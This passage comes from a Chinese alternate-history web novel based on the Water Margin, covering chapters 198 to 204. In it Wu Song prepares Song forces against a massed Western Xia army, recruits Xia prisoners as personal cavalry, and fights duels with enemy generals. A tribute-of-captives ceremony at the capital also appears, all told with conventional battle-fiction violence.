种师中点头道:
“要想打赢这一仗,必须对付翔庆军的铁甲连环马。”
赵楷看向武松,问道:
“你可有对策?”
武松看向徐宁,问道:
“徐教师,你觉得呢?”
徐宁开口道:
“这些时日,我找了俘虏的铁鹞子,让他们组成军阵演练。”
“我也挑选了步军,组建钩镰枪阵,对付铁鹞子马军。”
“但...铁甲连环马,我也未曾见过,不晓得破阵之法。”
赵楷知道徐宁擅长钩镰枪法,专门对付骑兵。
他也指望徐宁有法子,听徐宁这么说,赵楷有些心慌了。
“二郎,还有其他法子么?”
“放心,等他来了,我自有对策。”
赵楷见武松这么说,以为武松也没办法了。
种师道说道:
“马军最怕陷马坑,我等于城池四周深挖,守城应当无事。”
种师中赞同,也建议在周围挖坑抵挡,守住城池应该没问题。
武松问道:
“我们如今兵马共有多少?”
赵楷说道:
“有禁军10万,厢军8万,其余兵马还有3万。”
禁军是主力,厢军战斗力不行,只能打辅助。
至于其他兵马,相当于民夫。
也就是说,可用兵力就是18万。
“据我所知,西夏虽有兵马60万左右,但精锐不过20万。”
“察哥阵亡时,已经消灭西夏精锐7万左右,如此算来,西夏的精锐应当只有13万。”
赵楷对西夏情况不熟悉,转头看向种师道兄弟两个。
第199章 挑选俘虏,组建亲兵
种师道同意武松的说法,回道:
“西夏号称雄兵百万,可西夏干旱苦寒,户籍并不多。”
“他们全民皆兵,算起来,该有50-70万兵马。”
“武宣抚说西夏兵马在60万,精锐不过20万,此话不错。”
赵楷松了口气,说道:
“二郎在六盘山、葫芦河杀了西夏数万,俘虏两万有余,如此算来,西夏精锐不过十数万。”
种师道点头,说道:
“确实如此,不过...西夏马军多,而我大宋步军多。”
“且西夏集结兵马30万,我大宋才20万,依然弱势。”
种师道兄弟长期镇守边关,和西夏交战多,对西夏的优势清楚,比较谨慎。
赵楷以为种师道怕了,心中不悦。
“二郎,你觉得如何?”
武松笑道:
“还须派人往西寿保泰军司打探情况,看西夏来了多少精锐。”
赵楷看向戴宗和时迁,说道:
“劳烦两位走一趟。”
戴宗、时迁拱手一礼,当即起身出去打探情况。
议事完毕,众人散去。
赵楷把武松拉到里面,欧阳雄想跟着进去,何运贞反手把门关了。
“二郎,你有无把握?”
“放心,只希望西夏倾巢出动,我好毕其功于一役。”
赵楷皱眉道:
“二郎,那献王阿惠带的都是精锐马军。”
“狗屁精锐?老子打的就是精锐!”
见武松如此有信心,赵楷松了口气,笑道:
“如此便好,我安心了。”
打开房门,欧阳雄站在门外,一脸幽怨。
“哥哥为何将小弟拒之门外?”
武松奇怪道:
“我并未关门。”
欧阳雄看向何运贞,何运贞干咳两声,笑道:
“方才没见到你,以为没有人。”
欧阳雄盯着何运贞不说话。
武松抬脚离开,不理会他们两个。
到了校场,武松找到徐宁,他正在训练钩镰枪阵法。
钩镰枪和普通的**不一样,有点像大戟,可以钩斩马腿,还可以捅刺,杀伤骑兵。
训练钩镰枪的士兵从禁军挑选,人数两万,主要是怀德军和镇戎军的底子。
大战将至,徐宁教得很仔细。
扈三娘跟在武松身后,说道:
“二郎,你是不是忘了甚么事情?”
武松笑道:
“怎会忘了,我说过给你组建一支亲卫,由你统领。”
“那何时组建?”
“现在便去。”
离开校场,武松带着扈三娘到了俘虏营。
里面关押的是西夏俘虏,人数差不多两万。
武松进入营地,里面的俘虏一阵骚动。
看管俘虏的士兵全部披甲,负责是个管营,慌忙过来拜见。
武松让他把没有负伤的骑兵俘虏召集起来,管营马上照做。
很快,差不多七千俘虏集合起来。
武松站在高处,扈三娘站在身后。
“我叫武松!大宋的状元!也是大宋的武将!”
“你们的王爷察哥,就是我杀的!”
“你们的静塞军司,也是我烧的!”
“你们的王妃,也是我捉走的!”
“你们在这里做俘虏,也是我打的!”
简单几句话,在场所有俘虏看向武松,又都全部低下头。
“如今!我需要组建一支马军,从你们当中挑选!”
“跟随我的,饭管饱、有银子!”
“愿意的,走出来,站到那边去!”
武松手指右边空地。
管营以为自己听错了,俘虏也以为自己听错了。
武松居然要从俘虏挑选人组建军队?
不怕背叛么?
没有人动,所有人面面相觑,以为武松在开玩笑。
“怎么?都不愿意?都想死在这里?”
武松静静俯视底下的俘虏...
终于,有一个人走出来,站在了右边的空地上。
两个、三个、四个....最后有一千多人站在了右边空地上。
武松让他们列队站好,然后一个一个挑选。
最后只要了三百人。
“你们跟我走,其余的回去。”
武松带着挑选出的三百人离开俘虏营。
不是武松不想要更多,而是北宋对于武将的限制太多了。
北宋的将领可以有亲兵,但这些亲兵必须是朝廷指派的,相当于国家给的警卫队。
武松挑选的这三百人,不能以亲兵的名义,须找其他名头。
走到骑兵校场,命令所有人就地站好。
武松扫视所有人,说道:
“从今日起,你们就是我亲自指挥的马军。”
“你们的任务也很简单,就是跟着我,**甚么,你们就干甚
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么!”
武松说完,底下的俘虏都不说话。
他们跟着出来,是想出来吃饱饭。
在古代,吃饱饭可不是容易的事情。
特别是西夏干旱少雨,粮食紧缺,在西夏的时候,他们就算是骑兵,也很难吃饱。
因为好的料要给战马吃,马不吃好跑不动。
“给你们一刻钟,分为三队,每队一百人,选出一个军使。”
说完,武松就看着,什么也不干预。
在大宋的军队中,百人的队伍,骑兵头领称为军使、步兵头领称为都头。
三百个俘虏开始商量,很快选出三个人来。
这三个原本就是铁鹞子的军官。
“叫甚么名字?”
“俺叫白石子。”
“俺叫李成龙。”
“俺叫刘二。”
武松微微颔首道:
“从今日起,你们三人便是军使,带着你们手下。”
“你们只听从我和三娘的命令,其余的话,一概不理会!”
三人好奇地看向扈三娘。
一般的女子长得都不高,但是扈三娘身高差不多两米,外貌就能震慑他们。
“这是我的副将,也是我的义妹,唤作扈三娘。”
“以后由她亲自统领你们,三娘就是你们的指挥使!”
三百骑兵同时看向扈三娘,扈三娘也看向众人,说道:
“二郎是个大度的人,只要一心跟着二郎,不会亏待你们。”
武松没有再多说什么,让扈三娘拿饭菜过来。
扈三娘亲自去厨房,很快抬了几大筐馍馍过来,还有咸菜。
“吃吧!”
扈三娘拍了拍手,三百人一起围上来哄抢。
武松皱眉,骂道:
“你们三个军使干甚!管不住么!”
白石子一巴掌扇在一个士兵脸上,骂道:
“列队!”
李成龙、刘二同时呵斥,三百人重新列队。
武松和扈三娘分发馍馍,每人五个馍馍、一把咸菜。
这伙食比在西夏军营还要好。
吃完饭,所有人看起来有点懒洋洋的。
武松没有让他们立即训练,就让他们在营地休息。
扈三娘问道:
“二郎,让他们白吃啊?”
“养着吧,他们如今心不定,等他们心定了再说。”
扈三娘也不多问,反正武松做什么都可以,她都跟着。
第200章 西夏会兵,武松神力
西寿保泰军司。
翔庆军监军使重贵带着七万精锐翔庆军缓缓进入营寨。
身躯肥胖的献王阿惠走出来迎接。
“重贵将军,许久不见了。”
阿惠笑得很开心。
他和晋王察哥关系不好,武松杀了察哥,他接手察哥的两个军司,权力更大了,心中甚是喜悦。
“末将见过献王。”
重贵从马上下来,行礼拜见。
“贫僧见过献王。”
后面走出一个面容凶恶的僧人,正是承天寺的慧光和尚。
他的师弟鸠摩罗被鲁智深杀了,慧光和尚动了嗔怒、起了杀心,便向皇帝李乾顺请战。
翔庆军动身的时候,慧光和尚与重贵一同出发,到了西寿保泰军司。
“原来是慧光法师,来了便好。”
献王大喜,他知道慧光法师是承天寺最厉害的武僧,这样的猛人助阵,自然是好事。
“嘉宁军司、祥佑军司到了无?”
“嘉宁军司监军使玉丑昨日便到了,祥佑军司监军使万保刚到。”
阿惠带着重贵、慧光进了军司议事厅,两个中年男子坐在里面。
正是嘉宁军司监军使玉丑、祥佑军司监军使万保。
随行大将站在身后,正在与仁多洗忠、布雅说话。
“重贵将军到了。”
阿惠高兴地坐在正首,其余人立即起身行礼。
翔庆军是西夏最精锐的军队,重贵曾经是皇帝李乾顺的侍卫长,地位很不一般。
重贵回礼,在阿惠身边落座,慧光和尚跟着重贵坐下来。
阿惠扫视全场,心中暗道:
察哥那厮虽然**,好在五个监军使都还在。
如今我掌管五大军司兵马,可谓是重兵在握。
此战我若杀了武松,可再破渭州城、延安府,便是一桩泼天的大功劳。
“诸位将军,兀卒命本王为主帅,讨伐宋国的武松,为察哥复仇。”
“还请诸位将军同心共力,莫要辜负了兀卒。”
嘉宁军司监军使玉丑说道:
“献王何须多言,我们来此便是要斩了武松那狗头,为晋王复仇。”
慧光和尚用力点头道:
“不错,贫僧此来不为普渡众生,乃是为了开杀戒!”
堂内众将都嚷嚷着要杀武松报仇。
只有重贵比较冷静,看向仁多洗忠和布雅两人,问道:
“两位将军,那武松到底如何?”
仁多洗忠、布雅两人和武松打过仗,只有他们两个真的了解武松。
仁多洗忠看向布雅,布雅低头不语。
仁多洗忠原本是西寿保泰军司的监军使,布雅则是静塞军司的监军使。
两人同时归晋王察哥统领。
见布雅不说话,仁多洗忠硬着头皮说道:
“武松那厮...十分骁勇!”
“当日我以五万兵马围困种师中于六盘山,武松带着镇戎军七千马步军冲阵。”
“最可恨的是,那厮竟然还敢分兵一千截我归路,妄图杀我!”
听到这里,重贵脸色微变。
对于大宋,重贵是了解的。
大宋实行文官治国、以文制武,军队的一把手是文人,所以打仗的时候,贪生怕死的多、不懂兵法的多。
没有优势兵力,几乎不敢开战。
而武松竟敢以七千兵马进攻五万,还敢分兵出来截杀。
这说明武松料定了一定能破开包围,仁多洗忠必定逃跑。
这个武松智勇双全!
布雅叹息一声,接着仁多洗忠的话说道:
“不仅如此,那厮狡诈得像一只狐狸。”
“晋王与我领兵五万,佯攻渭州城,意图引诱武松出城,再以铁鹞子袭击。”
“那厮只派种师中带领一万厢军回援渭州城,而自己却敢以两万马步军突袭静塞军司。”
“得知消息后,我与晋王回援,在葫芦河谷遭遇埋伏...全军覆没。”
来的路上,重贵已经问了事情的经过。
如今再次听闻,依然觉得震撼。
多少年了,敢领兵杀入西夏的,武松是第一个!
“此贼...好大的胆子!”
重贵脸色凝重,转头看向献王阿惠,说道:
“末将以为此战必须稳扎稳打,切莫让武松那厮抓到了空子。”
阿惠的脸色也变得严肃起来,点头道:
“不错,本王也是这般想的。”
“如今我们已集结兵马32万,留下2万守城,30万开赴西安州,与武松决战。”
重贵问道:
“西安州如今多少兵马?”
阿惠有些不屑地说道:
“不超过20万,禁军只有10万,其他都是厢军。”
重贵微微颔首道:
“我有7万精锐,王爷的卓罗和南军司当有4万精锐,嘉宁、祥佑军司该有4万精锐。”
“如此,我们有15万精锐...”
阿惠哈哈笑道:
“重贵将军说错了,我们大夏马军多,你的铁甲连环马以一当百。”
“我们精锐15万,足当他宋国百万。”
嘉宁军司监军使玉丑点头道:
“不错,晋王之败,在于被武松偷袭。”
“若是正面交战,晋王是必胜的。”
祥佑军司监军使也说道:
“晋王那时候
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人困马疲,若非如此,岂会战败。”
见他们如此乐观,仁多洗忠、布雅两人都不说话。
阿惠扫视全场,说道:
“五大军司都齐了,今日宴饮,后日发兵西安州,定要杀了武松,为察哥复仇!”
众人起身,跟着阿惠喝酒吃肉去。
...
西安州。
武松单手抓起一块数百斤的石砖,轻松垒在墙上。
白石子惊讶地看着,其他俘虏也看呆了。
这一块石头少说有五百多斤,武松居然单手放上去,丝毫不费力。
“愣着干嘛!”
扈三娘骂了一句,白石子慌忙抬起一块石头递过去,武松依旧单手抓了,放在墙上。
挑选出来的三百俘虏,吃了几天馍馍后,开始让他们建造自己住的房子。
李成龙和刘二也在忙活,用石头建造营房。
这些人是俘虏,心里想的还是西夏。
要想把他们变成自己人,必须慢慢拉拢,从小事开始。
几十个西夏兵拖着一张大石桌进来,底下垫着两个木头,在地上拖出两道深深的沟壑。
武松见了,从墙上跳下来,喝道:
“都他娘没吃饱饭!让开!”
几十个士兵散开,武松走到石桌旁。
白石子、李成龙和刘二停下来,静静看着。
这张石桌很大,放在院子里准备作为开会的时候用,少说有三千多斤重。
武松打算一人徒手搬起来?
所有西夏兵静静看着...
武松把上身衣服脱下来,绑在腰间,深吸一口气,两只手稳稳抓住石桌边缘。
“起!”
随着一声呵斥,武松硬生生将石桌举过头顶,身上的肌肉虬结、青筋暴起,两条腿踩在地上,压出一个个浅坑。
西夏兵被震撼到了...
“好大的气力!”
白石子惊叹,李成龙感觉自己见鬼了,喃喃道:
“晋王死在他手里不冤...”
刘二咽了咽口水,嘀咕道:
“难怪白将军被他杀了...”
轰!
武松把石桌稳稳放在营地中间的位置,扬起一阵尘土。
拍了拍手,武松把衣服穿好。
西夏士兵看呆了...
扈三娘坐在石墙上,心脏怦怦跳,两腮潮红...
李二宝匆匆跑进来,喊道:
“主人,郓王请您过去议事。”
“好。”
武松大步往外走,李二宝跟着跑了几步,突然想起扈三娘还在,又返身回来,喊道:
“三娘,走啊。”
扈三娘这时才回过神来,从石墙跳下来。
第201章 三娘心动,自荐枕席
“三娘,你脸为何这么红?”
李二宝感觉扈三娘的样子不对劲,扈三娘摸了摸脸颊,怒道:
“放屁,老娘脸一直都这样。”
“啊?是么?”
“闭嘴!”
扈三娘小跑几步,赶上武松,跟着往议事厅去。
看着扈三娘和武松的背影,李二宝感觉自己又多余了。
营地里,西夏兵还沉浸在震撼之中。
李成龙走到石桌旁,两手抓住边缘,用力抬了抬...
纹丝不动!
“你也想搬动石桌?莫不是没睡醒?”
白石子嘲讽,李成龙骂道:
“不是孬种你来!”
“我是孬种,我抬不动,你行你来。”
刘二拍了拍石桌,惊叹道:
“我嘞个乖乖,这武松怕不有万斤气力。”
西夏士兵围过来,想试试怎么才能抬起来。
人数不断增加,最后32个人一起发力,才堪堪把石桌抬起来。
“武松真神力啊!”
所有人都被震撼了...
“好了,把营房盖好,不能白吃了粮食。”
白石子骂了一句,所有人老老实实盖房子。
武松带着扈三娘大步进了议事厅,戴宗、时迁站在中间,其他众将依次坐地,郓王赵楷在中间。
“走马承受使回来了,打探了西夏的军报,诸位且听听。”
赵楷特意看向武松,武松看向戴宗。
“我与时迁潜入西寿保泰军司,翔庆军昨日已经抵达,明日发兵西安州。”
“献王阿惠如今集结兵马30万,精锐15万,其中翔庆军7万。”
戴宗特意看向鲁智深,说道:
“西夏军中来了个承天寺的和尚,唤作慧光的。”
“那厮是鸠摩罗的师兄,特来杀你的。”
鲁智深听了,焦躁骂道:
“来得好,洒家正愁闲出鸟来!”
时迁笑道:
“我在那里打听得又来一个秃驴,便说那厮好没有佛缘,偏偏来找师兄的晦气。”
“洒家便是他的佛缘,一禅杖度他往西天极乐去。”
鲁智深撸起袖子,恨不得当即出去厮杀一番。
种师道脸色凝重,说道:
“15万精锐,7万翔庆军都是马军,这是一场恶战。”
“西安州城池狭小,若是被他们攻城,只怕难以支撑,须将他们抵挡在城外。”
“好在挖了陷马坑,步军作战,我军无需惧怕。”
鲁智深焦躁道:
“老相公何须怕他,待洒家杀了那献王。”
种师道没说话...
种师中见识过武松的厉害,倒是更为乐观,说道:
“有二郎和诸位将军镇守,守住西安州定应当无需担忧。”
张吉附和道:
“不错,二郎神勇,守住西安州应当无事。”
种师道用力点头道:
“那便好,此次西夏可谓倾巢而动,必须小心对付。”
如果这一战打败了,渭州府、延安府空虚,西夏可能顺势南下杀入关中,情况会很不妙。
赵凯看向武松,问道:
“二郎,你如何以为?”
武松看向在场众人,说道:
“此战我求的不是守住西安州,我要他匹马不归!”
武松说完,所有人都震惊到了。
他们想的是抵挡住西夏30万兵马**,守住西安州。
武松想的居然是把西夏30万兵马全部歼灭,这想法也太狂妄了!
种师道倒吸一口凉气,说道:
“二郎,莫要好大喜功,上次你于葫芦河谷伏击,那察哥人困马乏,所以败了。”
“此次西夏来犯,定然是防着你的,不可大意。”
武松说道:
“我自有分晓,明日战时,且看我摆布。”
种师道将信将疑,点头道:
“你是宣抚副使,自然听你调遣。”
武松对着众将说道:
“明日西夏军马抵达,诸位将军各自备战,明日与他们厮杀!”
众人起身,各自回营备战。
何运贞走过来,问道:
“哥哥真能杀他个片甲不归?”
“老弟莫非不信?”
“我怎会不信,哥哥说了,我便信的。”
张吉与何运贞一样,也相信武松说的话。
“二郎若能再杀他30万,西夏必定俯首称臣,再不敢入侵。”
武松笑了笑,心中暗道:
什么俯首称臣,老子要的是灭国!
“张叔且去准备。”
“好。”
张吉欢喜出了议事厅,立即让骑兵准备迎战。
赵楷把武松扯到一旁,问道:
“二郎,我与你说,切莫好大喜功。”
“此番我等出来,已经立了大功,只需守住西安州,击退阿惠进攻,便可回朝复
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命了。”
武松看着赵楷,问道:
“击退阿惠足以让你成为太子否?”
赵楷愣住了...随即沉默不语。
武松拍了拍赵楷的肩膀,说道:
“小老弟,我要灭了西夏,以灭国之功,将你扶上太子之位!”
赵楷身躯猛然一震...
之前武松也说过类似的话,他一直以为武松在开玩笑。
但如今不同,武松展示了他的军事才能。
灭掉西夏,不是随便说说。
灭国之功,太子之位...
赵楷看着武松,拱手拜道:
“你若将我扶上太子之位,我封你为大宋第一王!”
“叫我姐夫就行!”
武松摆摆手,赵楷愣了一下,笑骂道:
“贼猢狲,惦记我皇姐多时了。”
“莫跟老子扯淡,且去巡城激励将士,明日一场恶战。”
“遵命!”
赵楷欢欢喜喜出去巡城。
武松深吸一口气,又缓缓吐出,有些无奈地说道:
“**,与赵楷这厮混得太熟了...”
武松想的当然是**,自己当皇帝。
可如果赵楷真当了太子,以后赵楷当了皇帝...武松再**,那就是不讲义气。
麻烦了...
莫非真要做个甚么大宋第一王?
“且不去想他,日后再说。”
武松出了议事厅,带着扈三娘到各营地巡视步军。
武松是宣抚副使,也是步军都总管。
到了各个营地,武松嘱咐大家明日好好作战、光宗耀祖之类的。
回到住处,扈三娘跟着进屋,反手把门关了。
天气燥热,加上刚才建造房屋,搞得一身灰尘,武松把衣服脱了,准备擦洗一下。
回头发现扈三娘盯着自己...
武松赶忙捂住,尴尬道:
“忘了你在,你先出去。”
扈三娘死死盯着武松,纹丝不动...
不好!
有杀气!
武松感觉不妙!
扈三娘缓缓俯身,捡起地上的衣服,放在桌上,然后低头坐在床上。
这意思够明显了...
“想好了?”
武松走到跟前,抬起扈三娘的下巴。
扈三娘看着武松,慢慢闭上眼睛,任凭处置。
自己坐在床上,不动手还是男人?
武松把扈三娘推倒...
第202章 献俘仪式,西夏来临
大宋京师西城门。
一支百人的队伍缓缓入城,街道两旁挤满了围观的百姓。
大宋士兵押解两辆马车入城,前面的马车锁着一个女子,正是西夏晋王妃梁瑶。
后面的马车则摆着一口棺材,正是晋王察哥的尸体。
跟随马车而来的,还有几十个西夏俘虏士兵。
车队入城,沿着大街直到皇宫门口。
数万百姓挤在两旁观看献俘仪式。
礼部官员站在门口,禁军维持秩序。
徽宗身穿大红袍服走出来,蔡京、童贯、杨戬、高俅和蔡攸一众官员跟着出来。
礼部尚书张叔夜扶了扶官帽,深吸一口气,昂首挺胸,对着徽宗行礼道:
“启奏圣上,郓王渭州大捷,宣抚副使武松攻破静塞军司,俘获西夏晋王妃、阵斩晋王察哥。”
晋王妃梁瑶虽然被锁链绑了,但全身洗过、换了新衣服,容貌还算可以。
徽宗看着梁瑶,欣喜道:
“父皇在时,曾征伐西夏,奈何不能见功。”
“武松出征不过数月,便破了静塞军司,俘获西夏王妃,真乃国之栋梁。”
国子监祭酒董逸带着学生过来观礼。
国子监学生孙诚看着被俘虏的晋王妃,心中突然涌起投笔从戎的冲动。
武松出征前,曾到国子监与董逸辞行。
孙诚当时冷嘲热讽,说武松自降身份,不做状元,反去做一个武夫。
今日才知道只有领兵打仗,才是建功立业的手段。
礼部尚书张叔夜拜道:
“圣上英明,武待制文武兼备,为我朝雪耻,乃国士也!”
武松现在是龙图阁待制,正四品。
所以张叔夜称呼武松为武待制。
徽宗高兴道:
“尚书说得不错,察哥那厮曾羞辱我朝,武松为我朝廷一雪前耻。”
蔡京、高俅和童贯、杨戬几人看着,心里比吃了狗屎还难受。
他们希望武松兵败,武松却屡立大功,还被擢升为龙图阁待制。
短短一年多时间,从一介书生变成正四品的大员。
放眼朝廷,无人能和武松相比!
还有赵福金,对武松死心塌地,每日在徽宗那里说武松的好话。
有几次蔡京进谗,被赵福金撞见,被骂得狗血淋头。
高俅抬头看了一眼,茂德帝姬赵福金就在城墙上,俯视城下的献俘仪式。
侍女看着被俘虏的晋王妃,赞叹道:
“武待制真是个英雄男子,我大宋从未有过献俘大礼。”
旁边的侍女说道:
“错了,太祖开国时曾有。”
赵福金看得满心欢喜,这是她心爱的武松为她送来的。
察哥曾经羞辱赵福金,所以武松杀了他,还把晋王妃抓了。
城门口。
礼部尚书张叔夜开始献俘仪式,徽宗心中欢喜,百姓也看得过瘾。
齐云社的球头黄如意也在其中。
望着被俘虏的晋王妃,黄如意赞叹道:
“状元公真是神人,会蹴鞠,还会打仗。”
其他球员也赞叹佩服。
献俘仪式搞得非常隆重,徽宗过足了瘾。
晋王察哥的棺木被拖到集市,很快被百姓挫骨扬灰。
晋王妃梁瑶被送入后宫,充作杂役。
献俘仪式后,徽宗欢喜回到后廷。
童贯说道:
“这武松把察哥的尸体拉到京师,还捉了晋王妃,西夏必定倾巢出动。”
“听闻渭州府、延安府要一场大战,若是武松败了,只怕得不偿失。”
徽宗听了这话,欢喜去了大半,转而担忧道:
“武松既能破察哥,应当也可守住渭州、延安。”
童贯冷笑道:
“圣上,察哥只有五万兵马。”
“西夏此次倾巢出动,兵马何止五十万,那武松如何抵挡?”
徽宗皱眉,真的担心起来了。
赵福金从外面走进来,瞪着童贯骂道:
“那说当如何?莫非让你再去!”
童贯吃了一惊,他就怕被赵福金听到。
“你这死太监,若非你打了败仗,我和父皇何必被羞辱!”
“武松为我和父皇雪耻,你还在这里嚼舌头,我砍了你!”
童贯强言狡辩道:
“公主息怒,奴才也是为圣上思虑。”
“你若为父皇思虑,便去边关投军!”
童贯不敢说话了。
徽宗让赵福金莫要再说,赵福金安慰道:
“父皇且宽心,武松初到渭州便立功了。”
“如今时日久了,定能再立大功,莫听童贯这厮胡言乱语。”
徽宗微微颔首道:
“我儿说的是,且等武松的消息。”
童贯见赵福金在,自己说不了坏话,悄悄退
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出后廷。
...
西安州。
扈三娘脸色红润地走进营地,白石子三个军使正带领西夏兵盖房子,干得十分卖力。
见识武松的厉害后,这些人变得老老实实,非常忠诚。
“拜见指挥使。”
见到扈三娘,三人慌忙行礼拜见。
“都停下,今日献王阿惠带领三十万兵马攻城,你们到城墙上观战!”
一众西夏兵愣住了...
西夏大军攻城,扈三娘居然让他们这些俘虏观战?
不怕他们反水么?
“这是二郎的意思,还怕你们反了?”
扈三娘冷笑,李成龙慌忙道:
“我等追随武宣抚,岂敢有二心。”
“走吧。”
扈三娘带着三百俘虏上了城墙,北面城墙外面已经摆开阵势。
郓王赵楷和张吉、种师道、种师中、何运贞、欧阳雄一帮人在城上。
武松则亲自披挂,带着卢俊义、鲁智深、杨志、徐宁、施恩、曹正、燕青、李二宝在城外列阵。
兵马都监陈罡、曹光远和延安府骁将杨可世、杨惟忠一众大宋将领在后面。
城墙上。
凌振正在指挥霹雳营调试抛投车,霹雳炮小心存放在木箱里。
这次大战,西夏兵马多,武松让凌振把造好的霹雳炮全部运送到西安州。
同时加封凌振为霹雳营指挥使。
“你们就在这里看着!”
说完,扈三娘下了城墙,带着日月双刀,骑马出城,在武松身边站好。
时迁爬上哨塔,站在顶端,眺望北面,望见一道烟尘弥漫。
“来了!”
时迁大喊,所有人紧张起来。
武松对徐宁吩咐道:
“徐将军,你且去钩镰枪营准备。”
“领命!”
徐宁带着曹正离去。
很快,北面出现西夏大军。
三十万大军浩浩荡荡,扬起滚滚烟尘,席卷而来。
种师道望着三十万大军,心中紧张。
五大军司同时出动,这么大的阵仗,几十年没见过了。
张吉望着缓缓而来的三十万大军,喜道:
“这是泼天的大功啊...”
种师道、种师中同时看向张吉,简直不敢相信自己的耳朵。
三十万大军杀过来,张吉不担心,反说这是泼天的大功,被吓傻了么?
第203章 西安州混战,鲁智深大战慧光
西夏献王阿惠带着五大军司监军使,身后是各大军司的悍将。
铁鹞子、擒生军和步跋子分别列阵,缓缓而来。
还有许多临时征调的民夫,跟着大军缓缓前进。
阿惠骑在马上,远远望见西安州城池,心中冷笑:
宋国只是武松厉害,西安州些许小城池,有甚么难攻打。
只要杀了武松,再攻破西安州,便是大功一件。
到那时,五大军司都在我手,我便是西夏第一王爷。
大军缓缓到了西安州城外,各军司都统下令停下列阵。
铁鹞子在左右两侧,步跋子、擒生军在中间。
西夏三十万兵马在城外列阵。
献王阿惠带着一众大将缓缓出阵,望着对面身披铠甲的武松。
“你便是武松?”
阿惠手持马鞭,指着武松喝问道。
武松策马往前,看着阿惠,笑问道:
“你便是献王阿惠?”
“不错,正是本王,既然知晓本王威名,还不下马受降?”
武松哈哈笑道:
“你这身躯倒是比晋王察哥胖大,我须准备大一些的棺木,将你尸首运送到京师示众。”
献王阿惠听了,顿时大怒,骂道:
“不知死的书生,你书读到狗屁里去,竟敢口出狂言!”
“你是主将,我亦是主将,你且出阵,与我大战三百回合!”
献王阿惠自然不敢,骂道:
“我是王爷,千金之躯,你甚么东西,也敢说与我对阵!”
“西夏蕞尔小国,甚么狗屁王爷,到我大宋,还不如一知州!”
“狗贼,谁与我杀了他!”
阵后早杀出一员身材魁梧大将,坐下一匹乌黑不带半根杂**骏马,飞也似地杀向武松:
“卓罗和南军司指挥使兀迷,特来取你狗头!”
扈三娘见了,大怒道:
“区区狗屁指挥使,也配与二郎交手!”
提着日月双刀,扈三娘杀出阵来。
兀迷手持一根链锤,迎着扈三娘杀来。
两马交会,链锤狠狠砸来,扈三娘提刀格挡,不提防链锤却绕过双刀,击中扈三娘肩膀,疼得扈三娘差点跌落战马。
李二宝见了,叫道不好。
卢俊义说道:
“二郎,这链锤克制刀刃,三娘要吃亏。”
武松见扈三娘吃亏,心中大怒,正要出马,鲁智深早已耐不住,喊道:
“何须二郎出手,洒家结果了他!”
鲁智深策马杀出军阵,大喝道:
“鲁智深在此,贼将留下性命!”
兀迷击中扈三娘,正想乘胜追杀,却见大宋军中杀出一员莽和尚,连忙舍了扈三娘,来战鲁智深。
兀迷提着链锤杀去,鲁智深抖擞精神,手中**禅杖对着兀迷铲去。
兀迷见到**禅杖,一手抓住马缰,身体侧开,躲过**禅杖,手中链锤朝着鲁智深后腰砸去。
鲁智深早有提防,拔出腰间戒刀,荡开链锤。
西夏阵中的慧光和尚见了鲁智深,骂道:
“这贼秃便是杀我师弟的,我须取他性命!”
慧光和尚大吼一声,穿着铠甲、披着黑色袈裟,策马杀出阵来,直奔鲁智深,手里用的却是一杆几十斤的混铁棍。
眼见鲁智深要被夹击,扈三娘忍着肩膀疼痛,提刀拦住慧光。
“**敢拦我!”
慧光和尚大怒,混铁棍狠狠扫向扈三娘。
哐当!
慧光力气大,扈三娘接不住,被击飞日月双刀,只得拨马往回跑。
王进在城墙上见了,心中暗道:
扈三娘毕竟是女流之辈,气力输了几分。
慧光和尚见扈三娘要跑,连忙策马来追。
武松怒从心起,提着雁翎刀出马接应。
慧光和尚见武松出阵,大怒道:
“杀你与晋王报仇!”
混铁棍狠狠扫过来,武松挥刀上挑,只听一声巨响,几十斤的混铁棍飞起来,慧光大惊,拔马便往回逃窜。
武松也不追赶,只看鲁智深和兀迷厮杀。
王进在城墙上啧啧赞叹道:
“呀呀呀,武宣抚好大的气力。”
西夏俘虏被武松震撼到了,却又觉得在情理之中。
昨日在营地,几千斤的石桌举过头顶,这区区混铁棍,算得了甚么。
白石子咽了咽口水,转头看向李成龙、刘二,他们两人也是看得呆了。
西夏号称以武立国,也未曾见过武松这等勇猛的人。
兀迷见慧光和尚跑了,心中生了退意,手中链锤虚晃一招,拨马回了阵中。
这一场厮杀,胜负未分。
鲁智深杀得兴起,兀迷却跑了,焦躁骂道:
“兀那撮鸟,
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怎做了缩头的乌龟,不出来与洒家厮杀!”
兀迷骂道:
“阵前斗将,你却以多欺少,算甚么英雄汉子!”
鲁智深骂道:
“你这鸟厮且出来,洒家一人与你厮杀。”
兀迷不敢,慧光和尚看了一眼武松,骂道:
“佛爷乃承天寺慧光,特来与我师弟鸠摩罗报仇。”
鲁智深见了,骂道:
“原来是那鸟和尚的师兄,你且出来厮杀,洒家绝不怕你。”
“要与我厮杀时,须不让他出来!”
慧光和尚手指武松,鲁智深哈哈笑道:
“二郎不出来便是,洒家与你厮杀。”
“你须还我兵器。”
鲁智深回马,俯身捞起地上的混铁棍,反手丢回给慧光。
“兵器有了,你且出来厮杀!”
拿回兵器,慧光和尚依旧忌惮武松,骂道:
“那厮当真不出来?”
刚才武松那一刀力气极大,震得慧光和尚手腕酥麻。
武松冷笑道:
“杀鸡焉用牛刀,我师兄杀你足矣,我不出手!”
确定武松不出手,慧光和尚突然又自信了,骂道:
“贼秃,且看佛爷取你性命!”
慧光和尚拖着混铁棍杀去,鲁智深大喜,舞着手中禅杖接战。
两人力气都不小,一个**禅杖、一个混铁棍,在阵中杀得有来有回。
种师道转头对种师中说道:
“这鲁达本是我帐下的,只因吃酒**,送到你的麾下。”
“早知他如此英勇,不该让他走了。”
种师中也后悔,说道:
“那时候他三拳打死渭州城一个屠户,知州要捉人,我也不好包庇。”
“后来才知晓那屠户欺男霸女,倒是错怪了他。”
兄弟两个都觉得可惜,少了一员悍将。
王进教头在城楼上看着,啧啧赞叹道:
“都钤辖好武艺,噫...这禅杖的**怎么有点像林冲?”
王进在禁中做过教头,和林冲相识,见过林冲的枪法。
他在鲁智深的禅杖**里见到了林冲的枪法影子。
鲁智深和慧光两人厮杀一百多回合,不分胜负。
两边军阵擂鼓助威。
献王阿惠见鲁智深如此勇猛,担忧道:
“武松麾下猛将这等多,如何能杀他?”
第204章 击杀慧光,武松斗将
仁多洗忠说道:
“献王宽心,武松麾下厉害的只有两个。”
“这贼和尚是一个,武松边上用枪的是一个。”
献王阿惠看向武松身边的卢俊义,问道:
“那人叫甚么姓名?”
“唤作卢俊义,外号河北玉麒麟。”
